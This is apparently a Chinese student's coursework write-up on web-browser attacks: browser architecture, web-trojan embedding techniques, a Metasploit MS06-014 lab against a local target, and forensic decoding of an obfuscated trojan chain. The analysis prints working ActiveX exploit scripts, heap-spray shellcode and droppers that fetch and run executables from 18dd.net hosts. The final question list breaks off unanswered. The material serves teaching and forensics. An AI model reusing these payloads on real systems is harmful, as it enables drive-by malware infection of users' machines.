• 20199302 2019-2020-2 《网络攻防实践》第12周作业


    作业所属课程:https://edu.cnblogs.com/campus/besti/19attackdefense/
    作业要求:https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10756

    实践内容

    综述

    1、现代浏览器技术结构 参考现代浏览器工作原理(一)


    图一 现代浏览器技术结构

    (1)用户界面(User Interface):用户界面主要包括工具栏、地址栏、前进/后退按钮、书签菜单、可视化页面加载进度、智能下载处理、首选项、打印等。除了浏览器主窗口显示请求的页面之外,其他显示的部分都属于用户界面;用户界面还可以与桌面环境集成,以提供浏览器会话管理或与其他桌面应用程序的通信。

    (2)浏览器引擎(Browser Engine)
    浏览器引擎是一个可嵌入的组件,其为渲染引擎提供高级接口。
    浏览器引擎可以加载一个给定的URI,并支持诸如:前进/后退/重新加载等浏览操作。
    浏览器引擎提供查看浏览会话的各个方面的挂钩,例如:当前页面加载进度、JavaScript alert。
    浏览器引擎还允许查询/修改渲染引擎设置。

    (3)渲染引擎(Rendering Engine)
    渲染引擎为指定的URI生成可视化的表示。
    渲染引擎能够显示HTML和XML文档,可选择CSS样式,以及嵌入式内容(如图片)。
    渲染引擎能够准确计算页面布局,可使用“回流”算法逐步调整页面元素的位置。
    渲染引擎内部包含HTML解析器。

    (4)网络(Networking)
    网络系统实现HTTP和FTP等文件传输协议。 网络系统可以在不同的字符集之间进行转换,为文件解析MIME媒体类型。 网络系统可以实现最近检索资源的缓存功能。
    补充:MIME TYPE,Http会给每一种通过web传输的对象(如HTTP对象)都打上一个名为MIME TYPE的数据格式标签,web浏览器根据MIME type决定如何处理这个对象。MIME类型是一个文本标记,表示一种主要对象类型和一个特定的子类型。
    常见资源媒体类型

    (5)JavaScript解释器(JavaScript Interpreter)
    JavaScript解释器能够解释并执行嵌入在网页中的JavaScript(又称ECMAScript)代码。 为了安全起见,浏览器引擎或渲染引擎可能会禁用某些JavaScript功能,如弹出窗口的打开。

    (6)XML解析器(XML Parser)
    XML解析器可以将XML文档解析成文档对象模型(Document Object Model,DOM)树。 XML解析器是浏览器架构中复用最多的子系统之一,几乎所有的浏览器实现都利用现有的XML解析器,而不是从头开始创建自己的XML解析器。
    补充:DOM和DOM树

    (7)显示后端(Display Backend)
    显示后端提供绘图和窗口原语,包括:用户界面控件集合、字体集合。感觉像是一个原材料集合

    (8)数据持久层(Data Persistence)
    数据持久层将与浏览会话相关联的各种数据存储在硬盘上。 这些数据可能是诸如:书签、工具栏设置等这样的高级数据,也可能是诸如:Cookie,安全证书、缓存等这样的低级数据。

    (9)渲染引擎
    浏览器的组成模块众多,而渲染引擎则是浏览器中最重要的模块。目前,常见的渲染引擎有Trident、Gecko、WebKit等

    2、web浏览器安全隐患来源
    (1)复杂性(2)可扩展性(3)连通性

    3、安全隐患发生位置
    (1)网络协议安全威胁
    (2)浏览器端的系统平台
    (3)浏览器软件及插件
    (4)社会工程学

    网马

    网页木马存在的基础
    web浏览器端软件中存在安全漏洞
    本质
    浏览器渗透攻击
    (1)利用现代web浏览器软件中支持的客户端脚本执行能力
    (2)针对web浏览器软件安全漏洞实施客户端渗透攻击
    (3)取得在客户端主机上的远程代码执行权限来植入恶意程序。

    难以应对网马的原因
    (1)多样化的客户端渗透攻击位置和技术类型
    (2)分布式、复杂的微观链接结构
    (3)灵活多变的混淆与对抗分析能力:客户端脚本语言支持各种灵活的字符串操作与编码、代码动态生成与执行、HTML页面无缝处理等机制
    1、createobject
    MS06-014漏洞: Microsoft Data Access Components (MDAC) 功能中的漏洞可能允许执行代码,使用VBScript
    windows操作系统默认安装的MDAC数据库访问组件RDS.DataSpace ActiveX控件中发现的远程代码执行漏洞。在这个控件中,CreateObject()方法创建的ActiveX控件无法确保安全交互。
    2、堆内存操纵(可以用来对抗ASLR内存空间布局随机化机制)
    使用JavaScript编写。
    构造字符串数组N+S缓冲区溢出

    网页挂马机制
    (1)内嵌HTML标签iframe、frame
    如:<iframe src="url to trojan" width="0" height="0" frameborder="0"></iframe>
    (2)恶意Script脚本
    利用script脚本标签通过外部引用脚本的方式来包含网页木马。
    <script src="url to trojan">
    跳转脚本中使用document.write动态生成含有网页木马的iframe内嵌标签
    (3)内嵌对象链接
    利用图片、Flash等内嵌对象中的特定方法完成指定页面加载。
    如:Flash中的LoadMovie()方法,产生包含网马链接的图片或Flash文件。
    场景:允许用户上传图片或flash的网站。
    (4)ARP欺骗挂马
    通过ARP欺骗进行中间人攻击。
    劫持所有网络流量,在服务器的响应的HTML中植入恶意脚本。

    实践过程

    实践一:web浏览器渗透攻击实验

    使用攻击机和windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
    环境:攻击机:Windows XP_Attacker攻击机(192.168.200.2),其中安装了Metasploit渗透攻击框架软件。
    靶机:未打补丁的windows靶机,windows2kS(192.168.200.124)。
    实验步骤:
    1、选择使用Metasploit中的MS06-014渗透攻击模块(ie_createobject);


    图一 搜索该模块

    图二 使用该模块

    2、选择PAYLOAD为任意远程Shell连接;


    图三 选择负载

    3、选择服务器地址(SVRHOST或LHOST)和URL参数,运行exploit,构造出恶意网页木马脚本;


    图四 设置其他option

    可以看到上图中的url
    4、在靶机环境中启动浏览器,验证与服务器的联通性,并访问恶意网页木马脚本URL;


    图五 访问图四中的url

    由于用这个负载之后,攻击机发送完html之后没有收到shell打开的反应,所以换了windows/shell/bind_tcp 5、在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起得远程控制会话SESSSION,在靶机上远程执行命令。


    图六 得到shell


    图七 输入命令查看当前得到的shell的主机ip

    实践二 取证分析实践:剖析一个世纪的网页木马攻击场景

    任务:根据说明逐步分析,得到最终的木马文件的内容。
    首先访问start.html,在这个文件中给出了new09.htm的地址,在进入new09.htm后,每解密出一个我那件地址,请对其做32位MD5散列,以散列值位文件名到http://netsec.ccert.edu.cn/hacking/目录,下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。重复以上过程指导这些文件被全部分析完成。请注意:被散列的文件地址应该是标准的URL形式,形如http://xx.18dd.net/a/b.html,否则会导致散列值计算不正确而无法继续。
    问题
    1、试述你是如何一步步从所给的网页中获取最后的真实代码的?
    2、网页和JavaScript代码中都是用了什么样的加密方法?你是如何解密的?
    3、从解密后的结果来看,攻击者够早的网页木马利用了哪些安全漏洞?
    4、解密后发现了多少个可执行文件?这些可执行文件中有下载器么?如果有,他们下载了哪些程序?这些程序又是起什么作用?(请举例分析)

    答:(1)将http://192.168.68.253/scom/start/html使用freshow查看其源代码并将源代码保存到文件start.html中,在其中找到new09.htm页面的链接:http://192.168.68.253/scom/new09/html
    之后在new09.html中找到两个链接。

    <script language="javascript" type="text/javascript" src="http://js.users.51.1a/1299644.js'></script>
    

    网页加密方法:www.cha88.cn
    http://aa.18dd.net/aa/kl.htm MD5:7f60672dcd6b5e90b6772545ee219bd3
    http://js.users.51.la/1299644.js MD5:http://js.users.51.la/1299644.js
    从hashed文件夹中找到这两个文件,并一一打开查看

    可以看到一种加密方法:xxtea+base64加密方法。需要找到其加密秘钥,xxtea_decrypt函数的第二个参数就是秘钥,将这个秘钥从16进制转换为字符串:

    得到秘钥script
    之后对xxtea的加密进行解密:

    解密后:

    使用xxtea在线加解密工具解密后的十六进制

    eval("x66x75x6ex63x74x69x6fx6ex20x69x6ex69x74x28x29x7bx64x6fx63x75x6dx65x6ex74x2ex77x72x69x74x65x28x29x3bx7dx0dx0ax77x69x6ex64x6fx77x2ex6fx6ex6cx6fx61x64x20x3dx20x69x6ex69x74x3bx0dx0ax69x66x28x64x6fx63x75x6dx65x6ex74x2ex63x6fx6fx6bx69x65x2ex69x6ex64x65x78x4fx66x28x27x4fx4bx27x29x3dx3dx2dx31x29x7bx0dx0ax74x72x79x7bx76x61x72x20x65x3bx0dx0ax76x61x72x20x61x64x6fx3dx28x64x6fx63x75x6dx65x6ex74x2ex63x72x65x61x74x65x45x6cx65x6dx65x6ex74x28x22x6fx62x6ax65x63x74x22x29x29x3bx0dx0ax61x64x6fx2ex73x65x74x41x74x74x72x69x62x75x74x65x28x22x63x6cx61x73x73x69x64x22x2cx22x63x6cx73x69x64x3ax42x44x39x36x43x35x35x36x2dx36x35x41x33x2dx31x31x44x30x2dx39x38x33x41x2dx30x30x43x30x34x46x43x32x39x45x33x36x22x29x3bx0dx0ax76x61x72x20x61x73x3dx61x64x6fx2ex63x72x65x61x74x65x6fx62x6ax65x63x74x28x22x41x64x6fx64x62x2ex53x74x72x65x61x6dx22x2cx22x22x29x7dx0dx0ax63x61x74x63x68x28x65x29x7bx7dx3bx0dx0ax66x69x6ex61x6cx6cx79x7bx0dx0ax76x61x72x20x65x78x70x69x72x65x73x3dx6ex65x77x20x44x61x74x65x28x29x3bx0dx0ax65x78x70x69x72x65x73x2ex73x65x74x54x69x6dx65x28x65x78x70x69x72x65x73x2ex67x65x74x54x69x6dx65x28x29x2bx32x34x2ax36x30x2ax36x30x2ax31x30x30x30x29x3bx0dx0ax64x6fx63x75x6dx65x6ex74x2ex63x6fx6fx6bx69x65x3dx27x63x65x3dx77x69x6ex64x6fx77x73x78x70x3bx70x61x74x68x3dx2fx3bx65x78x70x69x72x65x73x3dx27x2bx65x78x70x69x72x65x73x2ex74x6fx47x4dx54x53x74x72x69x6ex67x28x29x3bx0dx0ax69x66x28x65x21x3dx22x5bx6fx62x6ax65x63x74x20x45x72x72x6fx72x5dx22x29x7bx0dx0ax64x6fx63x75x6dx65x6ex74x2ex77x72x69x74x65x28x22x3cx73x63x72x69x70x74x20x73x72x63x3dx68x74x74x70x3ax5cx2fx5cx2fx61x61x2ex31x38x64x64x2ex6ex65x74x5cx2fx61x61x5cx2fx31x2ex6ax73x3ex3cx5cx2fx73x63x72x69x70x74x3ex22x29x7dx0dx0ax65x6cx73x65x7bx0dx0ax74x72x79x7bx76x61x72x20x66x3bx76x61x72x20x73x74x6fx72x6dx3dx6ex65x77x20x41x63x74x69x76x65x58x4fx62x6ax65x63x74x28x22x4dx50x53x2ex53x74x6fx72x6dx50x6cx61x79x65x72x22x29x3bx7dx0dx0ax63x61x74x63x68x28x66x29x7bx7dx3bx0dx0ax66x69x6ex61x6cx6cx79x7bx69x66x28x66x21x3dx22x5bx6fx62x6ax65x63x74x20x45x72x72x6fx72x5dx22x29x7bx0dx0ax64x6fx63x75x6dx65x6ex74x2ex77x72x69x74x65x28x22x3cx73x63x72x69x70x74x20x73x72x63x3dx68x74x74x70x3ax5cx2fx5cx2fx61x61x2ex31x38x64x64x2ex6ex65x74x5cx2fx61x61x5cx2fx62x2ex6ax73x3ex3cx5cx2fx73x63x72x69x70x74x3ex22x29x7dx7dx0dx0ax74x72x79x7bx76x61x72x20x67x3bx76x61x72x20x70x70x73x3dx6ex65x77x20x41x63x74x69x76x65x58x4fx62x6ax65x63x74x28x22x50x4fx57x45x52x50x4cx41x59x45x52x2ex50x6fx77x65x72x50x6cx61x79x65x72x43x74x72x6cx2ex31x22x29x3bx7dx0dx0ax63x61x74x63x68x28x67x29x7bx7dx3bx0dx0ax66x69x6ex61x6cx6cx79x7bx69x66x28x67x21x3dx22x5bx6fx62x6ax65x63x74x20x45x72x72x6fx72x5dx22x29x7bx0dx0ax64x6fx63x75x6dx65x6ex74x2ex77x72x69x74x65x28x22x3cx73x63x72x69x70x74x20x73x72x63x3dx68x74x74x70x3ax5cx2fx5cx2fx61x61x2ex31x38x64x64x2ex6ex65x74x5cx2fx61x61x5cx2fx70x70x73x2ex6ax73x3ex3cx5cx2fx73x63x72x69x70x74x3ex22x29x7dx7dx0dx0ax74x72x79x7bx76x61x72x20x68x3bx76x61x72x20x6fx62x6ax3dx6ex65x77x20x41x63x74x69x76x65x58x4fx62x6ax65x63x74x28x22x42x61x69x64x75x42x61x72x2ex54x6fx6fx6cx22x29x3bx7dx0dx0ax63x61x74x63x68x28x68x29x7bx7dx3bx0dx0ax66x69x6ex61x6cx6cx79x7bx69x66x28x68x21x3dx22x5bx6fx62x6ax65x63x74x20x45x72x72x6fx72x5dx22x29x7bx0dx0ax6fx62x6ax2ex44x6cx6fx61x64x44x53x28x22x68x74x74x70x3ax2fx2fx64x6fx77x6ex2ex31x38x64x64x2ex6ex65x74x2fx62x62x2fx62x64x2ex63x61x62x22x2cx20x22x62x64x2ex65x78x65x22x2cx20x30x29x7dx7dx0dx0ax7dx7dx7d")
    </script>
    

    转换为字符串之后得到:

    66756e6374696f6e20696e697428297b646f63756d656e742e777269746528293b7d0d0a77696e646f772e6f6e6c6f6164203d20696e69743b0d0a696628646f63756d656e742e636f6f6b69652e696e6465784f6628274f4b27293d3d2d31297b0d0a7472797b76617220653b0d0a7661722061646f3d28646f63756d656e742e637265617465456c656d656e7428226f626a6563742229293b0d0a61646f2e7365744174747269627574652822636c6173736964222c22636c7369643a42443936433535362d363541332d313144302d393833412d30304330344643323945333622293b0d0a7661722061733d61646f2e6372656174656f626a656374282241646f64622e53747265616d222c2222297d0d0a63617463682865297b7d3b0d0a66696e616c6c797b0d0a76617220657870697265733d6e6577204461746528293b0d0a657870697265732e73657454696d6528657870697265732e67657454696d6528292b32342a36302a36302a31303030293b0d0a646f63756d656e742e636f6f6b69653d2763653d77696e646f777378703b706174683d2f3b657870697265733d272b657870697265732e746f474d54537472696e6728293b0d0a69662865213d225b6f626a656374204572726f725d22297b0d0a646f63756d656e742e777269746528223c736372697074207372633d687474703a5c2f5c2f61612e313864642e6e65745c2f61615c2f312e6a733e3c5c2f7363726970743e22297d0d0a656c73657b0d0a7472797b76617220663b7661722073746f726d3d6e657720416374697665584f626a65637428224d50532e53746f726d506c6179657222293b7d0d0a63617463682866297b7d3b0d0a66696e616c6c797b69662866213d225b6f626a656374204572726f725d22297b0d0a646f63756d656e742e777269746528223c736372697074207372633d687474703a5c2f5c2f61612e313864642e6e65745c2f61615c2f622e6a733e3c5c2f7363726970743e22297d7d0d0a7472797b76617220673b766172207070733d6e657720416374697665584f626a6563742822504f574552504c415945522e506f776572506c617965724374726c2e3122293b7d0d0a63617463682867297b7d3b0d0a66696e616c6c797b69662867213d225b6f626a656374204572726f725d22297b0d0a646f63756d656e742e777269746528223c736372697074207372633d687474703a5c2f5c2f61612e313864642e6e65745c2f61615c2f7070732e6a733e3c5c2f7363726970743e22297d7d0d0a7472797b76617220683b766172206f626a3d6e657720416374697665584f626a656374282242616964754261722e546f6f6c22293b7d0d0a63617463682868297b7d3b0d0a66696e616c6c797b69662868213d225b6f626a656374204572726f725d22297b0d0a6f626a2e446c6f616444532822687474703a2f2f646f776e2e313864642e6e65742f62622f62642e636162222c202262642e657865222c2030297d7d0d0a7d7d7d
    

    转换完成之后,得到代码:

    function init(){
          document.write();
    }
    window.onload = init;
    if(document.cookie.indexOf('OK')==-1){
          try{var e;
          var ado=(document.createElement("object"));
          ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
          var as=ado.createobject("Adodb.Stream","")//Adodb.Stream
    }
    catch(e){};
    finally{
          var expires=new Date();
          expires.setTime(expires.getTime()+24*60*60*1000);
          document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
          if(e!="[object Error]"){
                document.write("<script src=http://aa.18dd.net/aa/1.js></script>")}
          else{
          try{      
                var f;
                var storm=new ActiveXObject("MPS.StormPlayer");//MPS.StormPlayer
          }catch(f){};
    finally{
    if(f!="[object Error]"){
          document.write("<script src=http://aa.18dd.net/aa/b.js></script>")}}
          try{
          var g;
          var pps=new                     ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}//POWERPLAYER.PowerPlayerCtrl.1
          catch(g){};
          finally{if(g!="[object Error]"){
          document.write("<script src=http://aa.18dd.net/aa/pps.js></script>")}}//写入恶意脚本
          try{
                var h;
                var obj=new ActiveXObject("BaiduBar.Tool");//BaiduBar.Tool
          }
          catch(h){};
          finally{if(h!="[object Error]"){
          obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}//下载
          }}}
    

    在这段代码中,利用的漏洞有:

    程序 所利用漏洞
    Adodb.Stream MDAC
    MPS.StormPlayer 暴风影音
    POWERPLAYER.PowerPlayerCtrl.1 PPStream
    BaiduBar.Tool 百度搜霸

    对文件中包含的4个url进行分析:

    url MD5
    http://aa.18dd.net/aa/1.js 5d7e9058a857aa2abee820d5473c5fa4
    http://aa.18dd.net/aa/b.js 3870c28cc279d457746b3796a262f166
    http://aa.18dd.net/aa/pps.js 5f0b8bf0385314dbe0e5ec95e6abedc2
    http://down.18dd.net/bb/bd.cab 1c1d7b3539a617517c49eee4120783b2

    之后根据md5值找到对应的文件
    http://aa.18dd.net/aa/1.js对应的代码:

    var url="http://down.18dd.net/bb/014.exe";//下载可执行文件
    try{
          var xml=ado.CreateObject("Microsoft.XMLHTTP","");
          xml.Open("GET",url,0);
          xml.Send();as.type=1;
          as.open();
          as.write(xml.responseBody);
          path="..\ntuser.com";
          as.savetofile(path,2);
          as.close();
          var shell=ado.createobject("Shell.Application","");//adodb漏洞
          shell.ShellExecute("cmd.exe","/c "+path,"","open",0);//shellcode
    }
    catch(e){}
    

    http://aa.18dd.net/aa/b.js文件中内容如下图:

    可以看到这个文件是被使用packed进行混淆过的,且其中出现shellcode字样,猜测是shellcode的构造。使用[js美化工具](https://beautifier.io/)对代码进行美化
    var bigblock = unescape("%u9090%u9090");
    var headersize = 20;
    var shellcode = unescape("%uf3e9%u0000" + "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");
    var slackspace = headersize + shellcode.length;
    while (bigblock.length < slackspace) bigblock += bigblock;
    fillblock = bigblock.substring(0, slackspace);
    block = bigblock.substring(0, bigblock.length - slackspace);
    while (block.length + slackspace < 0x40000) block = block + block + fillblock;
    memory = new Array();
    for (x = 0; x < 300; x++) memory[x] = block + shellcode;
    var buffer = '';
    while (buffer.length < 4068) buffer += "x0ax0ax0ax0a";
    storm.rawParse(buffer)
    

    网页木马的shellcode通常会将包含病毒的url写入,根据url中'/'的ASCII码'2F'进行分析

    在最后一段中有四个'/',猜测这应该就是一个url,对该ascii码串使用preshow和16进制进行url转换,得到url:http://down.18dd.net/bb/bf.exe,也是对一个可执行文件进行下载。
    对于http://aa.18dd.net/aa/pps.js,打开对应的MD5值为名的文件,其内容为八进制,对之进行字符串转换,得到:

    /*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
    "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
    "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
    "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
    "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
    "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
    "%u206a%uff53%uec57%u*/
    pps=(document.createElement("object"));
    pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
    var shellcode = unescape("%uf3e9%u0000"+
    "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
    "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
    "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
    "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
    "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
    "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
    "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
    "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
    "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
    "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
    "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
    "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
    "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
    "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
    "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
    "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
    "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
    "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
    "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
    "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
    "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
    "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");
    var bigblock = unescape("%u9090%u9090");
    var headersize = 20;
    var slackspace = headersize+shellcode.length;
    while (bigblock.length<slackspace) bigblock+=bigblock;
    fillblock = bigblock.substring(0, slackspace);
    block = bigblock.substring(0, bigblock.length-slackspace);
    while(block.length+slackspace<0x40000) block = block+block+fillblock;
    memory = new Array();
    for (x=0; x<400; x++) memory[x] = block + shellcode;
    var buffer = '';
    while (buffer.length < 500) buffer+="x0ax0ax0ax0a";
    pps.Logo = buffer
    

    在这段代码中的shellcode中,可以解析出url:http://down.18dd.net/bb/pps.exe,也是下载一个可执行文件

    对于http://down.18dd.net/bb/bd.cab,打开之后,得到十六进制以及乱码

    于是使用IDA Pro打开,也没看出来。先不管他了,参考其他同学的博客说是一个db.exe的可执行文件的url。 并且对这几个url的md5值,再进行求md5值,会发现他们的值都相同(1290ecd734d68d52318ea9016dc6fe63),所以这些文件应该是相同的作用。 对pps.exe进行分析 使用脱壳工具脱壳,可以看到这个文件不需要脱壳。

    之后使用IDA Pro打开该可执行文件,查看字符串 刚开始有很多.exe文件,可能要下载一些木马,之后又有autorun自动执行,还有一些ddl,以及对IE进行操作的命令。 再根据其中的中文字符,“执行保护”,“IE允许执行”等,该可执行文件可能具有自我保护能力。 “为即插即用设备提供支持”,猜测是要建立服务。

    对0.exe文件进行分析,可以看到是有加壳的

    对之进行脱壳,再用IDA Pro查看其字符串 从下图中可以看到是在获得一些受害主机的一些系统信息,除此之外,好像没干别的什么,那就再打开后面的一些exe文件看看

    对3.exe脱壳并分析。
    看到一些对注册表的改写,之后还有创建快照

    网页和JavaScript中使用的加密方法:xxtea+base64、16进制混淆,js混淆,8进制混淆
    安全漏洞
    (1)MS06-014网马
    (2)暴风影音网马 CVE-2007-4816安全漏洞(缓冲区溢出漏洞)
    (3)PPStream网马(CVE-2007-4748安全漏洞,ppstream堆栈溢出)
    (4)百度搜霸网马(CVE-2007-4105安全漏洞,ActiveX控件远程执行漏洞)
    解密后发现的可执行文件和下载器
    解密后有4个可执行文件,是同样的下载器。他们下载的程序有20个,作用是获取受害主机上的一些信息,但是具体的目的我还没有分析出来(动态分析软件没找到,稍后处理)。

    今天根据大佬讲的实践过程,学会了一个办法,在不知道网页上的代码的混淆方式时以及解密方法时,可以写一个<script>使用变量赋值为那一段未知的字符串,使用console.log(变量)或者alert得到解析后的代码。(所有被混淆的代码都会在浏览器上解析为最原本的代码)

    实践三 Web 浏览器渗透攻击攻防对抗

    攻击方使用 Metasploit 构造出攻击至少两个不同 Web 浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理组装成一个URL链接,通过具有欺骗性的电子邮件发送给防守方。
    防守方对电子邮件中的挂马链接进行提取、解混淆分析,尝试恢复出渗透攻击代码的原始形态, 并分析出这些渗透代码都是攻击哪些 Web 浏览端软件的哪些安全漏洞。
    双方撰写详细实验分析报告, 对攻防对抗过程进行总结。
    攻击方式与实践一相同。
    防守方访问到这个网页之后,对该网页的源代码进行查看和保存,可以看到源码之间的间隙很大,是在通过大片的空白以及将字符串使用“+”进行隔开,防止被反病毒软件查杀。

    对代码格式进行调整之后
    <html>
    
    	<head>
    		<title></title>
    		<script language="javascript">
    			function gCxloZiKnraRiVfaHsIlPOuQOGsV(o, n) { 
    				var r = null; 
    				try { eval("r=o.CreateObject(n)") } 
    				catch(e) {} 
    				if(!r) {
    					try { 
    						eval("r=o.CreateObject(n,'')") 
    					} catch(e) {} 
    				}
    					if(!r) { 
    						try { eval("r=o.CreateObject(n,'','')") } 
    						catch(e) {} } 
    						if(!r) { 
    							try { 
    								eval("r=o.GetObject('',n)") } 
    								catch(e) {} 
    						}
    								if(!r) { 
    									try { 
    										eval("r=o.GetObject(n,'')") } 
    										catch(e) {} 
    								} 
    								if(!r) { 
    									try { 
    										eval("r=o.GetObject(n)") 
    									} catch(e) {} 
    								} 
    								return(r) 
    			}
    
    			function zlGvEUjDk(a) { 
    				var s = gCxloZiKnraRiVfaHsIlPOuQOGsV(a, "WScript.Shell"); 
    				var o = gCxloZiKnraRiVfaHsIlPOuQOGsV(a, "ADODB.Stream"); 
    				var e = s.Environment("Process"); 
    				var url = document.location + '/payload'; 
    				var xml = null; 
    				var bin = e.Item("TEMP") + "\xeawGEgzOudIUf.exe";//下载的可执行文件
    				var dat; try { xml = new XMLHttpRequest() 
    				}
    				catch(e) { try { xml = new ActiveXObject("Microsoft.XMLHTTP") 
    				} catch(e) { 
    					xml = new ActiveXObject("MSXML2.ServerXMLHTTP") 
    				} 
    				} 
    				if(!xml) { return(0) } 
    				xml.open("GET", url, false);
    				xml.send(null);
    				dat = xml.responseBody;
    				o.Type = 1;
    				o.Mode = 3;
    				o.Open();
    				o.Write(dat);
    				o.SaveToFile(bin, 2);
    				s.Run(bin, 0) }
    
    			function UfOJvYCnWIPu() { var i = 0; var t = new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}', //可以根据数组中的内容确定,这个可以确定是被利用的MS06-014
    			'{BD96C556-65A3-11D0-983A-00C04FC29E30}', '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}', 
    			'{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}', '{6414512B-B978-451D-A0D8-FCFDF33E833C}', 
    			'{06723E09-F4C2-43c8-8358-09FCD1DB0766}', '{639F725F-1B2D-4831-A9FD-874847682010}', 
    			'{BA018599-1DB3-44f9-83B4-461454C84BF8}', '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}', 
    			'{E8CCCDDF-CA28-496b-B050-6C07C962476B}', '{AB9BCEDD-EC7E-47E1-9322-D4A210617116}', 
    			'{0006F033-0000-0000-C000-000000000046}', '{0006F03A-0000-0000-C000-000000000046}', 
    			null); 
    			while(t[i]) { 
    				var a = null; 
    				if(t[i].substring(0, 1) == '{') { 
    					a = document.createElement("object");
    					a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1)) 
    				}
    				else { 
    					try { 
    						a = new ActiveXObject(t[i]) 
    					} 
    					catch(e) {} 
    				} 
    				if(a) 
    				{ 
    					try {
    					var b = gCxloZiKnraRiVfaHsIlPOuQOGsV(a, "WScript.Shell"); 
    					if(b) { 
    						zlGvEUjDk(a); return(0) 
    					} 
    					} catch(e) {} } i++ } 
    			}
    		</script>
    	</head>
    
    	<body onload='UfOJvYCnWIPu()'>lHVktKHkSJUvBMeTdoZ</body>
    
    </html>
    
    

    可以看到靶机的后台有一个代码中的相应的可执行文件

    实践四 WEB浏览器遭遇攻击、取证分析

    1、通过分析pcap文件,回答下面问题。
    2、列出在捕获文件中的应用层协议类型,是针对哪个或哪些协议的?
    3、列出IP地址、主机名、域名,猜测攻击场景的环境配置。
    4、列出所有网页页面,其中哪些页面包含了可疑的、恶意的js脚本,谁在连接这些页面,目的是什么?
    5、请给出攻击者执行攻击动作的概要描述。
    6、攻击者引入了哪些技巧带来了困难。
    7、攻击者的目标是哪个操作系统?哪个软件?哪个漏洞?如何组织?
    8、shellcode执行了哪些操作?比较他们之间MD5的差异?
    9、在攻击场景中有二进制可执行代码参与吗?目的是什么?
    答:
